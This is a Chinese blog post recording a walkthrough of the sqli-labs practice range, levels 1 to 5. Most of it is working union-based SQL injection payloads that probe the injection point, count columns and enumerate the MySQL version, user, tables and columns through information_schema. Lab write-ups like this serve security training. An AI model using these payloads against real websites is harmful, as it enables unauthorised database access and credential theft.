sqli-labs闯关记录（Less1-Less5）

最新推荐文章于 2024-02-24 20:58:57 发布

BROTHERYY

最新推荐文章于 2024-02-24 20:58:57 发布

阅读量353

点赞数 1

分类专栏：靶场练习

本文链接：https://blog.csdn.net/BROTHERYY/article/details/108035979

版权

这篇博客详细记录了sqli-labs的Less-1至Less-5关卡的攻击过程，包括单引号字符型、数字型、单引号报错注入及双引号字符型和布尔型盲注。博主通过注入点判断、字段数量确认、数据查询等步骤，成功获取了数据库中的用户信息和密码。

摘要由CSDN通过智能技术生成

判断注入点

?id=1' and 1=2 -- +

在这里插入图片描述

确认字段数量

?id=1' order by 3 -- +

在这里插入图片描述

查询用户，版本，当前数据库名

?id=-1' union select 1,version(),database()--+

在这里插入图片描述
这里可以将payload拿到mysql去执行看看结果

sql=select * from users where id='-1' union select 1,version(),database()

database=security
verion:5.5.53

?id=-1' union select 1,user(),3--+

user:root@localhost

查询当前数据库所有的表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1' union select 1,2,group_concat(table_name)from(information_schema.tables)where(table_schema)like('security')--+

在这里插入图片描述
tables:emails,referers,uagents,users
查询敏感表——users

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(column_name)from(information_schema.columns)where(table_name)like('users')--+

关注

专栏目录